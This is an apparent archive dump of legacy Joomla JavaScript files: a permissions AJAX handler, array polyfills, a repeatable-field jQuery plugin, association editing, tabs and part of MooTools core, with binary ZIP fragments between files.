	var icon = document.getElementById('icon_' + this.id);
	icon.removeAttribute('class');
	icon.setAttribute('style', 'background: url(../media/system/images/modal/spinner.gif); display: inline-block; width: 16px; height: 16px');

	//get values and prepare GET-Parameter
	var asset = 'not';
	var component = getUrlParam('component');
	var extension = getUrlParam('extension');
	var option    = getUrlParam('option');
	var view      = getUrlParam('view');
	var title     = component;
	var value     = this.value;
	var context   = '';

	if (document.getElementById('jform_context')){
		context = document.getElementById('jform_context').value;
		context = context.split('.')[0];
	}

	if (option == 'com_config' && component == false && extension == false)
	{
		asset = 'root.1';
	}
	else if (extension == false && view == 'component'){
		asset = component;
	}
	else if (context){
		if (view == 'group') {
			asset = context + '.fieldgroup.' + getUrlParam('id');
		}
		else {
			asset = context + '.field.' + getUrlParam('id');
		}
		title = document.getElementById('jform_title').value;
	}
	else if (extension != false && view != false){
		asset = extension + '.' + view + '.' + getUrlParam('id');
		title = document.getElementById('jform_title').value;
	}
	else if (extension == false && view != false){
		asset = option + '.' + view + '.' + getUrlParam('id');
		title = document.getElementById('jform_title').value;
	}

	var id = this.id.replace('jform_rules_', '');
	var lastUnderscoreIndex = id.lastIndexOf('_');

	var permission_data = {
		comp   : asset,
		action : id.substring(0, lastUnderscoreIndex),
		rule   : id.substring(lastUnderscoreIndex + 1),
		value  : value,
		title  : title
	};

	// Remove js messages, if they exist.
	Joomla.removeMessages();

	// doing ajax request
	jQuery.ajax({
		method: "POST",
		url: document.getElementById('permissions-sliders').getAttribute('data-ajaxuri'),
		data: permission_data,
		datatype: 'json'
	})
	.fail(function (jqXHR, textStatus, error) {
		// Remove the spinning icon.
		icon.removeAttribute('style');

		Joomla.renderMessages(Joomla.ajaxErrorsMessages(jqXHR, textStatus, error));

		window.scrollTo(0, 0);

		icon.setAttribute('class', 'icon-cancel');
	})
	.done(function (response) {
		// Remove the spinning icon.
		icon.removeAttribute('style');

		if (response.data)
		{
			// Check if everything is OK
			if (response.data.result == true)
			{
				icon.setAttribute('class', 'icon-save');

				jQuery(event.target).parents().next("td").find("span")
					.removeClass()
					.addClass(response['data']['class'])
					.html(response.data.text);
			}
		}

		// Render messages, if any. There are only message in case of errors.
		if (typeof response.messages == 'object' && response.messages !== null)
		{
			Joomla.renderMessages(response.messages);

			if (response.data && response.data.result == true)
			{
				icon.setAttribute('class', 'icon-save');
			}
			else
			{
				icon.setAttribute('class', 'icon-cancel');
			}

			window.scrollTo(0, 0);
		}
	});
}

/**
 * Function to get parameters out of the url
 */
function getUrlParam(variable) {
	var query = window.location.search.substring(1);
	var vars = query.split('&');
	for (var i=0;i<vars.length;i++)
	{
		var pair = vars[i].split('=');
		if (pair[0] == variable)
		{
			return pair[1];
		}
	}
	return false;
}
PK!	���

js/polyfill.filter.jsnu�[���(function(a){"filter"in Array.prototype||(Array.prototype.filter=function(c){if(this===a||null===this)throw new TypeError(this+" is not an object");if(!(c instanceof Function))throw new TypeError(c+" is not a function");for(var j,d=Object(this),e=arguments[1],f=d instanceof String?d.split(""):d,g=Math.max(Math.min(f.length,9007199254740991),0)||0,h=-1,i=[];++h<g;)j=f[h],h in f&&c.call(e,j,h,d)&&i.push(j);return i})}).call("object"==typeof window&&window||"object"==typeof self&&self||"object"==typeof global&&global||{});PK!�w�V�C�Cjs/repeatable-uncompressed.jsnu�[���/**
 * @package		Joomla.JavaScript
 * @copyright	(C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * Options:
 * 		see defaults $.JRepeatable.defaults,
 * Options can be set through "data" atribute of the JRepeatable container (see example markup)
 *
 * Events:
 * 		$('input.form-field-repeatable')
 * 		.on('weready', function(e){
 * 			// fires when JRepeatable initialized
 * 		})
 * 		.on('prepare-template', function(e, template){
 * 			// fires when row template initialized
 * 		})
 * 		.on('prepare-modal', function(e, modal){
 * 			// fires when modal container initialized
 * 		})
 * 		.on('row-add', function(e, row){
 * 			// fires when new row added
 * 		})
 * 		.on('row-remove', function(e, row){
 * 			// fires before row removing
 * 		})
 * 		.on('value-update', function(e, value){
 * 			// fires before when value in hidden input was updated
 * 		});
 *
 * Dependancies: jQuery, Bootsrap.modal
 *
 * Example fields initial markup:
 *
 * <div id="jform_somename_container">
 *	<div id="jform_somename_modal" class="modal hide">
 * 		<table>
 * 			<thead>
 * 				<tr>
 * 					<th>Field label 1</th>
 * 					<th>Field label 2</th>
 * 					<th><a href="#" class="add">Add new</a></th>
 * 				</tr>
 * 			</thead>
 * 			<tbody>
 * 				<tr>
 * 					<td><input type="text" name="field1" /></td>
 * 					<td><input type="text" name="field2" /></td>
 * 					<td>
 * 						<a href="#" class="add">Add new after</a>
 * 						<a href="#" class="remove">Remove</a>
 * 					</td>
 * 				</tr>
 * 			</tbody>
 * 		</table>
 * 		<a href="#" class="close-modal">Close</a>
 * 	</div>
 * </div>
 * <button id="jform_somename_button" >Open modal</button>
 * <input type="hidden" name="jform[somename]" id="jform_somename" value=""
 * 		class="form-field-repeatable"
 * 		data-container="#jform_somename_container"
 * 		data-modal-element="#jform_somename_modal"
 * 		data-repeatable-element="table tbody tr"
 * 		data-bt-add="a.add" data-bt-remove="a.remove"
 * 		data-bt-modal-open="#jform_somename_button"
 * 		data-bt-modal-close="a.close-modal"
 * 		data-maximum="3" data-input="#jform_somename"
 * 		/>
 *
 * data-repeatable-element="table tbody tr" - means that <tr> inside <tbody> will be repeatable
 */

;(function($){
	"use strict";

    $.JRepeatable = function(input, options){
        // To avoid scope issues,
        var self = this;

        //direct call
        if(!self || self === window){
        	return new $.JRepeatable(input, options);
        }

        self.$input = $(input);

        // check if alredy exist
        if(self.$input.data("JRepeatable")){
        	return self;
        }

        // Add a reverse reference to the DOM object
        self.$input.data("JRepeatable", self);

        // method initialize
        self.init = function(){
        	// merge options
            self.options = $.extend({}, $.JRepeatable.defaults, options);

            self.$container = $(self.options.container);
            // Move out form the Form container
            // for prevent sending to server
            $('body').append(self.$container);

            // container where the rows is live
            self.$rowsContainer = self.$container.find(self.options.repeatableElement).parent();

            // prepare modal window
            self.prepareModal();

            // container for storing info about inputs
            self.inputs = [];
            self.values = {};

            // prepare a row template, and find available field names
            self.prepareTemplate();

            // check the values and keep it as object
            var val = self.$input.val();
            if(val){
            	// value can be not valid JSON
            	try {
            		self.values = JSON.parse(val);
				} catch (e) {
					if(e instanceof SyntaxError){
						// guess there a single quote problem
						try {
							val = val.replace(/'/g, '"').replace(/\\"/g, "\'");// ho ho ho
		            		self.values = JSON.parse(val);
						} catch (e) {
							// nop
							if(window.console){
    							console.log(e);
    						}
						}
					} else if(window.console){
						console.log(e);
					}
				}
            }

            // so init the form depend from values that we have
            self.buildRows();

            // bind open the modal
            $(document).on('click', self.options.btModalOpen, function (e) {
            	e.preventDefault();
            	self.$modalWindow.modal('show');
            });
            // bind close the modal
            self.$modalWindow.on('click', self.options.btModalClose, function (e) {
            	e.preventDefault();
            	self.$modalWindow.modal('hide');
            	// rollback
            	self.buildRows();
            });

            // bind save the modaldata
            self.$modalWindow.on('click', self.options.btModalSaveData, function (e) {
            	e.preventDefault();
            	self.$modalWindow.modal('hide');
            	self.refreshValue();
            });

            // bind add button
            self.$container.on('click', self.options.btAdd, function (e) {
            	e.preventDefault();
            	var after = $(this).parents(self.options.repeatableElement);
            	if(!after.length){
            		after = null;
            	}
            	self.addRow(after);
            });
            // bind remove button
            self.$container.on('click', self.options.btRemove, function (e) {
            	e.preventDefault();
            	var row = $(this).parents(self.options.repeatableElement);
            	self.removeRow(row);
            });

            // tell all that we a ready
            self.$input.trigger('weready');
        };

        // prepare a template that we will use for repeating
        self.prepareTemplate = function(){
        	//find available
        	var $rows = self.$container.find(self.options.repeatableElement);
        	var $row = $($rows.get(0));
        	// clear scripts that can be attached to the fields
        	try {
        		self.clearScripts($row);
			} catch (e) {
				if(window.console){
					console.log(e);
				}
			}

        	var inputs = $row.find('*[name]');
        	//keep the name and type for each
        	for(var i = 0, l = inputs.length; i < l; i++){
        		var name = $(inputs[i]).attr('name');
        		// check if alredy exist, for radio case
        		if(self.values[name]){
        			continue;
        		}
        		self.inputs.push({
        			name: name,
        			type: $(inputs[i]).attr('type') || inputs[i].tagName.toLowerCase()
        		});
        		// initialize values
        		self.values[name] = [];
        	}

        	// keep template
        	self.template = $row.prop('outerHTML');
        	// remove
        	$rows.remove();

        	// tell all that the template ready
            self.$input.trigger('prepare-template', self.template);
        };

        // prepare modal window
        self.prepareModal = function(){
        	var modalEl = $(self.options.modalElement);

        	// fix modal style
        	modalEl.css({
        		position: 'absolute',
        		width: 'auto',
        		'max-width': '100%'
        	});

        	modalEl.on('shown', function () {
        		self.resizeModal();
        	});
        	$(window).resize(function() {
        		self.resizeModal();
        	});

        	// init bootstrap modal
        	self.$modalWindow = modalEl.modal({show: false, backdrop: 'static'});

        	// tell all that the modal are ready
            self.$input.trigger('prepare-modal', self.$modalWindow);
        };

        //resize and count position for the modal popup
        self.resizeModal = function (){
        	if(!self.$modalWindow.is(':visible')){
        		// do nothing with hidden
        		return;
        	}
        	var docHalfWidth = $(document).width() / 2,
      	 	 	modalHalfWidth = self.$modalWindow.width() / 2,
      	 	 	rowsHalfWidth = self.$rowsContainer.width() / 2,
      	 	 	marginLeft = modalHalfWidth >= docHalfWidth ? 0 : -modalHalfWidth,
      	 	 	left = marginLeft ? '50%' : 0,
      	 	 	top = $(document).scrollTop() + $(window).height() * 0.2;//20% from top of visible win

        	self.$modalWindow.css({
       	    	 top: top,
       	    	 left: left,
       	         'margin-left': marginLeft,
       	         overflow: rowsHalfWidth > modalHalfWidth ? 'auto' : 'visible'
       	    });

        };

        // build rows
        self.buildRows = function(){
        	// clean up any old
        	var $oldRows = self.$rowsContainer.children();
        	if($oldRows.length){
        		self.removeRow($oldRows);
        	}

	        // go through values and add a new copy
	        // but make sure that at least one will be added
	        var count = self.values[Object.keys(self.values)[0]].length || 1,
            	row = null;
            for(var i = 0; i < count; i++){
            	row = self.addRow(row, i);
            }
        };

        // add new row
        self.addRow = function(after, valueKey){
        	// count how much we already have
        	var count = self.$container.find(self.options.repeatableElement).length;
        	if(count >= self.options.maximum){
        		return null;
        	}

        	// make new from template
        	var row = $.parseHTML(self.template);

        	//add to container
        	if(after){
        		$(after).after(row);
        	} else {
        		self.$rowsContainer.append(row);
        	}

        	var $row = $(row);
        	// fix names and id`s
        	self.fixUniqueAttributes($row, count + 1);
        	// set values
        	if(valueKey !== null && valueKey !== undefined){
            	for(var i = 0, l = self.inputs.length; i < l; i++){
            		var name  = self.inputs[i].name,
            			type  = self.inputs[i].type,
            			value = null;
            		if(self.values[name]){
            			value = self.values[name][valueKey];
            		}
            		// skip undefined
            		if(value === null || value === undefined){
            			continue;
            		}

            		if(type === 'radio'){
            			$row.find('*[name*="'+name+'"][value="' + value + '"]').attr('checked', 'checked');
            		}else if(type === 'checkbox'){
            			// check if there a multiple
            			if(value.length){
            				for(var v = 0, vl = value.length; v < vl; v++){
            					$row.find('*[name*="'+name+'"][value="' + value[v] + '"]').attr('checked', 'checked');
            				}
            			} else {
            				$row.find('*[name*="'+name+'"][value="' + value + '"]').attr('checked', 'checked');
            			}

            		} else {
            			$row.find('*[name*="'+name+'"]').val(value);
            		}
            	}
        	}

        	// try find out with related scripts,
        	// tricky thing, so be careful
        	try {
        		self.fixScripts($row);
			} catch (e) {
				if(window.console){
					console.log(e);
				}
			}

			// tell all about new row
            self.$input.trigger('row-add', $row);

        	return $row;
        };

        // remove row from container
        self.removeRow = function(row){
        	// tell all about row removing
            self.$input.trigger('row-remove', row);

        	$(row).remove();
        };

        //fix names ind id`s for field that in $row
        self.fixUniqueAttributes = function($row, count){
        	//all elements that have a "id" attribute
        	var haveIds = $row.find('*[id]');
        	self.increaseAttrName(haveIds, 'id', count);
        	// all labels that have a "for" attribute
        	var haveFor = $row.find('label[for]');
        	self.increaseAttrName(haveFor, 'for', count);
        	// all inputs that have a "name" attribute
        	var haveName = $row.find('*[name]');
        	self.increaseAttrName(haveName, 'name', count);
        };

        // increase attribute name like: attribute_value + '-' + count
        self.increaseAttrName = function (elements, attr, count){
        	for(var i = 0, l = elements.length; i < l; i++){
        		var $el =  $(elements[i]);
        		var oldValue = $el.attr(attr);
        		// set new
        		$el.attr(attr, count + '-' + oldValue);
        	}
        };

        // refresh value in the main input
        self.refreshValue = function(){
        	var $rows = self.$container.find(self.options.repeatableElement);
        	// reset existing
        	self.values = {};
        	// go through available input names
            for(var i = 0, l = self.inputs.length; i < l; i++){
            	var name = self.inputs[i].name,
            		type = self.inputs[i].type;
            	// init new
            	self.values[name] = [];
            	// find all inputs and take their values
            	for(var r = 0, rl = $rows.length; r < rl; r++){
            		var $row = $($rows[r]),
            			val  = null;
            		if(type === 'radio'){
            			val = $row.find('*[name*="'+name+'"]:checked').val();
            		}else if(type === 'checkbox'){
            			var checked = $row.find('*[name*="'+name+'"]:checked');
            			// test for multiple
            			if(checked.length > 1){
            				val = [];
            				for(var c = 0, cl = checked.length; c < cl; c++){
            					val.push($(checked[c]).val());
            				}
            			} else {
            				// single checkbox
            				val = checked.val();
            			}
            		}else{
            			val = $row.find('*[name*="'+name+'"]').val();
            		}
            		val = val === null ? '' : val;

            		self.values[name].push(val)
            	}
        	}
        	// put in to the main input
            self.$input.val(JSON.stringify(self.values));

            // tell all about value changed
            self.$input.trigger('value-update', self.values);
        };

        // remove scripts attached to fields
        self.clearScripts = function($row){
        	// destroy chosen if any
        	if($.fn.chosen){
                $row.find('select').each(function(){
					var $el = $(this);
					if ($el.data('chosen')) {
						$el.chosen('destroy');
						$el.addClass('here-was-chosen');
					}
				});
        	}
        	// colorpicker
        	if($.fn.minicolors){
        		$row.find('.minicolors input').each(function(){
        			$(this).minicolors('destroy', $(this));
        		});
        	}
        };

        // method for hack the scripts that can be related
        // to the one of field that in given $row
        self.fixScripts = function($row){

			// Chosen.js
			if ($.fn.chosen) {
				$row.find('select.here-was-chosen').removeClass('here-was-chosen').chosen();
			}

        	//color picker
        	$row.find('.minicolors').each(function() {
        		var $el = $(this);
        		$el.minicolors({
					control: $el.attr('data-control') || 'hue',
					position: $el.attr('data-position') || 'right',
					theme: 'bootstrap'
				});
			});

        	// fix media field
        	$row.find('a[onclick*="jInsertFieldValue"]').each(function(){
        		var $el = $(this),
        			inputId = $el.siblings('input[type="text"]').attr('id'),
        			$select = $el.prev(),
        			oldHref = $select.attr('href');
        		// update the clear button
        		$el.attr('onclick', "jInsertFieldValue('', '" + inputId + "');return false;");
        		// update select button
        		$select.attr('href', oldHref.replace(/&fieldid=(.+)&/, '&fieldid=' + inputId + '&'));
				jMediaRefreshPreview(inputId);
        	});
		
		// fix media field in ISIS Template
		$row.find('.field-media-wrapper').each(function(){
			var $el = $(this);
			$el.fieldMedia();
		});

        	// another modals
        	if(window.SqueezeBox && window.SqueezeBox.assign){
        		SqueezeBox.assign($row.find('a.modal').get(), {parse: 'rel'});
        	}
        };

        // Run initializer
        self.init();
    };

    // defaults
    $.JRepeatable.defaults = {
    	modalElement: "#modal-container", // id of the modal container
    	btModalOpen: "#open-modal", // id of the button for initiate the modal window
    	btModalClose: ".close-modal", // button for close the modal window, and rollback all changes
    	btModalSaveData: ".save-modal-data", // button for close the modal window, and keep the all changes
    	btAdd: "a.add", //  button selector for "add" action
    	btRemove: "a.remove",//  button selector for "remove" action
    	maximum: 10, // maximum repeating
    	repeatableElement: "table tbody tr"
    };

    $.fn.JRepeatable = function(options){
        return this.each(function(){
        	var options = options || {},
        		data = $(this).data();

        	for (var p in data) {
                // check options in the element
                if (data.hasOwnProperty(p)) {
                     options[p] = data[p];
                }
            }
         	new $.JRepeatable(this, options);
        });
    };

    // initialise all available
    // wait when all will be loaded, important for scripts fix
	$(window).on('load', function(){
		$('input.form-field-repeatable').JRepeatable();
	})

})(jQuery);

PK!_�>B��js/polyfill.map.jsnu�[���(function(a){"map"in Array.prototype||(Array.prototype.map=function(c){if(this===a||null===this)throw new TypeError(this+" is not an object");if(!(c instanceof Function))throw new TypeError(c+" is not a function");for(var d=Object(this),e=arguments[1],f=d instanceof String?d.split(""):d,g=Math.max(Math.min(f.length,9007199254740991),0)||0,h=-1,i=[];++h<g;)h in f&&(i[h]=c.call(e,f[h],h,d));return i})}).call("object"==typeof window&&window||"object"==typeof self&&self||"object"==typeof global&&global||{});PK!���{PP$js/associations-edit-uncompressed.jsnu�[���/**
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * Edit Associations javascript behavior
 *
 * Used for editing associations in the backend.
 *
 * @package  Joomla
 * @since    3.7.0
 */

window.hideAssociation = function(formControl, languageCode)
{
	jQuery('#associations .control-group').each(function()
	{
		// Current selected language. Hide it.
		if (jQuery(this).find('.control-label label').attr('for').replace(new RegExp('_id$'), '') == formControl + '_associations_' + languageCode.replace('-', '_'))
		{
			jQuery(this).hide();
		}
	});
}

window.showAssociationMessage = function()
{
	jQuery('#associations .control-group').hide();
	jQuery('#associations').prepend('<div id="associations-notice" class="alert alert-info">' + Joomla.JText._('JGLOBAL_ASSOC_NOT_POSSIBLE') + '</div>');
}

	/**
	 * Inject associations into other association fields
	 *
	 * This function is called whenever the Ajax request within propagateAssociation() completes successfully.
	 * Its purpose is to inject the associations which have been returned in the Ajax response into the other
	 * association fields in the form.
	 * It does this by invoking the various callback functions of those association fields (i.e. the function which
	 * gets called whenever the administrator selects an association via the modal), and passing the appropriate
	 * associated record details.
	 *
	 * @param   js object   result                  The response from the Ajax request.
	 *                                              Its structure is that generated by the JResponseJson class,
	 *                                              with the data field containing the associations
	 * @param   string      fieldPrefix             The stem of the html ids for the elements comprising the modal field
	 * @param   string      callbackFunctionPrefix  The name of the callback function which the modal window uses to set the
	 *                                              selected item as the association, but minus the language tag at the end
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	Joomla.injectAssociations = function(result, callbackFunctionPrefix)
	{
		var functionName;

		if (result.success)
		{
			if (result.data.length !== 0)
			{
				for (var lang in result.data)
				{
					functionName = callbackFunctionPrefix + lang.replace("-","_");

					window[functionName](result.data[lang].id, result.data[lang].title, result.data[lang].catid, null, null, lang);
				}
			}

			if (result.message)
			{
				Joomla.renderMessages({"notice":[result.message]});
			}
		}
		else
		{
			Joomla.renderMessages({"warning":[(Joomla.JText._('JGLOBAL_ASSOCIATIONS_PROPAGATE_FAILED'))]});
		}
	}

	/**
	 * Propagate associations from this field into other association fields
	 *
	 * This function is called whenever an administrator populates an association (in the association modal field)
	 * and then clicks on the Propagate button.
	 * The purpose of this function is to find what other records (if any) are associated with the one which the
	 * administrator has selected, and populate the other association fields with these records. (Otherwise, if the
	 * administrator just clicks on Save without clicking on Propagate, those other associations will be deleted).
	 * It does this by finding the id of the selected associated record (from a hidden field) and makes an Ajax call
	 * to the server to find the other associations, also passing up the language of the record currently being edited,
	 * as it should be excluded.
	 * Once it has received from the server the other associations it calls injectAssociations to inject them into
	 * the other association fields within the form.
	 *
	 * @param   string  fieldPrefix             The stem of the html ids for the elements comprising the modal field
	 * @param   string  callbackFunctionPrefix  The name of the callback function which the modal window uses to set the
	 *                                            selected item as the association, but minus the language tag at the end
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	Joomla.propagateAssociation = function(fieldPrefix, callbackFunctionPrefix)
	{
		// Find the id of the record which has been set as an assocation
		var assocId = jQuery("#" + fieldPrefix + "_id").val();

		// Find the language of the record being edited
		var currentLang = jQuery('#jform_language').find(":selected").val();

		// Find the token so that it can be sent in the Ajax request as well
		var token = Joomla.getOptions('csrf.token', '');

		// Find the action url associated with the form - we need to add the token to this
		var url = jQuery("form[name='adminForm']").attr("action");
		url += '&' + token + '=1';

		jQuery.ajax(
		{
			url:  url,
			data: { task: "ajax.fetchAssociations", format: "json", assocId: assocId, excludeLang: currentLang },

			success: function(result, status, xhr) { Joomla.injectAssociations(result, callbackFunctionPrefix); },

			error: function() { Joomla.renderMessages({"warning":[(Joomla.JText._('JGLOBAL_ASSOCIATIONS_PROPAGATE_FAILED'))]}); },
		});

		return false;
	}

!(function()
{
	jQuery(document).ready(function($)
	{
		var associationsEditOptions = Joomla.getOptions('system.associations.edit'), formControl = associationsEditOptions.formControl || 'jform';

		// Hide the associations tab if needed.
		if (associationsEditOptions.hidden == 1)
		{
			window.showAssociationMessage();
		}
		// Hide only the associations for the current language.
		else
		{
			window.hideAssociation(formControl, $('#' + formControl + '_language').val());
		}

		// When changing the language.
		$('#' + formControl + '_language').on('change', function(event)
		{
			// Remove message if any.
			Joomla.removeMessages();
			$('#associations-notice').remove();

			var existsAssociations = false;

			// For each language, remove the associations, ie, empty the associations fields and reset the buttons to Select/Create.
			$('#associations .control-group').each(function()
			{
				var languageCode = $(this).find('.control-label label').attr('for').replace('_id', '').replace('jform_associations_', '');

				// Show the association fields.
				$(this).show();

				// Check if there was an association selected for this language.
				if (!existsAssociations && $('#' + formControl + '_associations_' + languageCode + '_id').val() !== '')
				{
					existsAssociations = true;
				}

				// Call the modal clear button.
				$('#' + formControl + '_associations_' + languageCode + '_clear').click();
			});

			// If associations existed, send a warning to the user.
			if (existsAssociations)
			{
				Joomla.renderMessages({warning: [Joomla.JText._('JGLOBAL_ASSOCIATIONS_RESET_WARNING')]});
			}

			var selectedLanguage = $(this).val();

			// If the selected language is All hide the fields and add a message.
			if (selectedLanguage == '*')
			{
				window.showAssociationMessage();
			}
			// Else show the associations fields/buttons and hide the current selected language.
			else
			{
				window.hideAssociation(formControl, selectedLanguage);
			}
		});
	});
})(window, document, Joomla);
PK!�Lj`�	�	
js/tabs.jsnu�[���/**
 * @copyright	(C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

Object.append(Browser.Features, {
	localstorage: (function() {
		return ('localStorage' in window) && window.localStorage !== null;
	})()
});

/**
 * Tabs behavior
 *
 * @package		Joomla!
 * @subpackage	JavaScript
 * @since		1.5
 */
var JTabs = new Class({
	Implements: [Options, Events],

	options : {
		display: 0,
		useStorage: true,
		onActive: function(title, description) {
			description.setStyle('display', 'block');
			title.addClass('open').removeClass('closed');
		},
		onBackground: function(title, description){
			description.setStyle('display', 'none');
			title.addClass('closed').removeClass('open');
		},
		titleSelector: 'dt',
		descriptionSelector: 'dd'
	},

	initialize: function(dlist, options){
		this.setOptions(options);
		this.dlist = document.id(dlist);
		this.titles = this.dlist.getChildren(this.options.titleSelector);
		this.descriptions = this.dlist.getChildren(this.options.descriptionSelector);
		this.content = new Element('div').inject(this.dlist, 'after').addClass('current');
		this.storageName = 'jpanetabs_'+this.dlist.id;

		if (this.options.useStorage) {
			if (Browser.Features.localstorage) {
				this.options.display = this.options.display || localStorage[this.storageName];
			} else {
				this.options.display = this.options.display || Cookie.read(this.storageName);
			}
		}
		if (this.options.display === null || this.options.display === undefined) {
			this.options.display = 0;
		}
		this.options.display = this.options.display.toInt().limit(0, this.titles.length-1);

		for (var i = 0, l = this.titles.length; i < l; i++)
		{
			var title = this.titles[i];
			var description = this.descriptions[i];
			title.setStyle('cursor', 'pointer');
			title.addEvent('click', this.display.bind(this, i));
			description.inject(this.content);
		}

		this.display(this.options.display);

		if (this.options.initialize) this.options.initialize.call(this);
	},

	hideAllBut: function(but) {
		for (var i = 0, l = this.titles.length; i < l; i++)
		{
			if (i != but) this.fireEvent('onBackground', [this.titles[i], this.descriptions[i]]);
		}
	},

	display: function(i) {
		this.hideAllBut(i);
		this.fireEvent('onActive', [this.titles[i], this.descriptions[i]]);
		if (this.options.useStorage) {
			if (Browser.Features.localstorage) {
				localStorage[this.storageName] = i;
			} else {
				Cookie.write(this.storageName, i);
			}
		}
	}
});
PK!7� MM js/mootools-core-uncompressed.jsnu�[���/*
---
MooTools: the javascript framework

web build:
 - http://mootools.net/core/76bf47062d6c1983d66ce47ad66aa0e0

packager build:
 - packager build Core/Core Core/Array Core/String Core/Number Core/Function Core/Object Core/Event Core/Browser Core/Class Core/Class.Extras Core/Slick.Parser Core/Slick.Finder Core/Element Core/Element.Style Core/Element.Event Core/Element.Delegation Core/Element.Dimensions Core/Fx Core/Fx.CSS Core/Fx.Tween Core/Fx.Morph Core/Fx.Transitions Core/Request Core/Request.HTML Core/Request.JSON Core/Cookie Core/JSON Core/DOMReady Core/Swiff

...
*/

/*
---

name: Core

description: The heart of MooTools.

license: MIT-style license.

copyright: Copyright (c) 2006-2012 [Valerio Proietti](http://mad4milk.net/).

authors: The MooTools production team (http://mootools.net/developers/)

inspiration:
  - Class implementation inspired by [Base.js](http://dean.edwards.name/weblog/2006/03/base/) Copyright (c) 2006 Dean Edwards, [GNU Lesser General Public License](http://opensource.org/licenses/lgpl-license.php)
  - Some functionality inspired by [Prototype.js](http://prototypejs.org) Copyright (c) 2005-2007 Sam Stephenson, [MIT License](http://opensource.org/licenses/mit-license.php)

provides: [Core, MooTools, Type, typeOf, instanceOf, Native]

...
*/

(function(){

this.MooTools = {
	version: '1.4.5',
	build: '74e34796f5f76640cdb98853004650aea1499d69'
};

// typeOf, instanceOf

var typeOf = this.typeOf = function(item){
	if (item == null) return 'null';
	if (item.$family != null) return item.$family();

	if (item.nodeName){
		if (item.nodeType == 1) return 'element';
		if (item.nodeType == 3) return (/\S/).test(item.nodeValue) ? 'textnode' : 'whitespace';
	} else if (typeof item.length == 'number'){
		if (item.callee) return 'arguments';
		if ('item' in item) return 'collection';
	}

	return typeof item;
};

var instanceOf = this.instanceOf = function(item, object){
	if (item == null) return false;
	var constructor = item.$constructor || item.constructor;
	while (constructor){
		if (constructor === object) return true;
		constructor = constructor.parent;
	}
	/*<ltIE8>*/
	if (!item.hasOwnProperty) return false;
	/*</ltIE8>*/
	return item instanceof object;
};

// Function overloading

var Function = this.Function;

var enumerables = true;
for (var i in {toString: 1}) enumerables = null;
if (enumerables) enumerables = ['hasOwnProperty', 'valueOf', 'isPrototypeOf', 'propertyIsEnumerable', 'toLocaleString', 'toString', 'constructor'];

Function.prototype.overloadSetter = function(usePlural){
	var self = this;
	return function(a, b){
		if (a == null) return this;
		if (usePlural || typeof a != 'string'){
			for (var k in a) self.call(this, k, a[k]);
			if (enumerables) for (var i = enumerables.length; i--;){
				k = enumerables[i];
				if (a.hasOwnProperty(k)) self.call(this, k, a[k]);
			}
		} else {
			self.call(this, a, b);
		}
		return this;
	};
};

Function.prototype.overloadGetter = function(usePlural){
	var self = this;
	return function(a){
		var args, result;
		if (typeof a != 'string') args = a;
		else if (arguments.length > 1) args = arguments;
		else if (usePlural) args = [a];
		if (args){
			result = {};
			for (var i = 0; i < args.length; i++) result[args[i]] = self.call(this, args[i]);
		} else {
			result = self.call(this, a);
		}
		return result;
	};
};

Function.prototype.extend = function(key, value){
	this[key] = value;
}.overloadSetter();

Function.prototype.implement = function(key, value){
	this.prototype[key] = value;
}.overloadSetter();

// From

var slice = Array.prototype.slice;

Function.from = function(item){
	return (typeOf(item) == 'function') ? item : function(){
		return item;
	};
};

Array.from = function(item){
	if (item == null) return [];
	return (Type.isEnumerable(item) && typeof item != 'string') ? (typeOf(item) == 'array') ? item : slice.call(item) : [item];
};

Number.from = function(item){
	var number = parseFloat(item);
	return isFinite(number) ? number : null;
};

String.from = function(item){
	return item + '';
};

// hide, protect

Function.implement({

	hide: function(){
		this.$hidden = true;
		return this;
	},

	protect: function(){
		this.$protected = true;
		return this;
	}

});

// Type

var Type = this.Type = function(name, object){
	if (name){
		var lower = name.toLowerCase();
		var typeCheck = function(item){
			return (typeOf(item) == lower);
		};

		Type['is' + name] = typeCheck;
		if (object != null){
			object.prototype.$family = (function(){
				return lower;
			}).hide();
			
		}
	}

	if (object == null) return null;

	object.extend(this);
	object.$constructor = Type;
	object.prototype.$constructor = object;

	return object;
};

var toString = Object.prototype.toString;

Type.isEnumerable = function(item){
	return (item != null && typeof item.length == 'number' && toString.call(item) != '[object Function]' );
};

var hooks = {};

var hooksOf = function(object){
	var type = typeOf(object.prototype);
	return hooks[type] || (hooks[type] = []);
};

var implement = function(name, method){
	if (method && method.$hidden) return;

	var hooks = hooksOf(this);

	for (var i = 0; i < hooks.length; i++){
		var hook = hooks[i];
		if (typeOf(hook) == 'type') implement.call(hook, name, method);
		else hook.call(this, name, method);
	}

	var previous = this.prototype[name];
	if (previous == null || !previous.$protected) this.prototype[name] = method;

	if (this[name] == null && typeOf(method) == 'function') extend.call(this, name, function(item){
		return method.apply(item, slice.call(arguments, 1));
	});
};

var extend = function(name, method){
	if (method && method.$hidden) return;
	var previous = this[name];
	if (previous == null || !previous.$protected) this[name] = method;
};

Type.implement({

	implement: implement.overloadSetter(),

	extend: extend.overloadSetter(),

	alias: function(name, existing){
		implement.call(this, name, this.prototype[existing]);
	}.overloadSetter(),

	mirror: function(hook){
		hooksOf(this).push(hook);
		return this;
	}

});

new Type('Type', Type);

// Default Types

var force = function(name, object, methods){
	var isType = (object != Object),
		prototype = object.prototype;

	if (isType) object = new Type(name, object);

	for (var i = 0, l = methods.length; i < l; i++){
		var key = methods[i],
			generic = object[key],
			proto = prototype[key];

		if (generic) generic.protect();
		if (isType && proto) object.implement(key, proto.protect());
	}

	if (isType){
		var methodsEnumerable = prototype.propertyIsEnumerable(methods[0]);
		object.forEachMethod = function(fn){
			if (!methodsEnumerable) for (var i = 0, l = methods.length; i < l; i++){
				fn.call(prototype, prototype[methods[i]], methods[i]);
			}
			for (var key in prototype) fn.call(prototype, prototype[key], key)
		};
	}

	return force;
};

force('String', String, [
	'charAt', 'charCodeAt', 'concat', 'indexOf', 'lastIndexOf', 'match', 'quote', 'replace', 'search',
	'slice', 'split', 'substr', 'substring', 'trim', 'toLowerCase', 'toUpperCase'
])('Array', Array, [
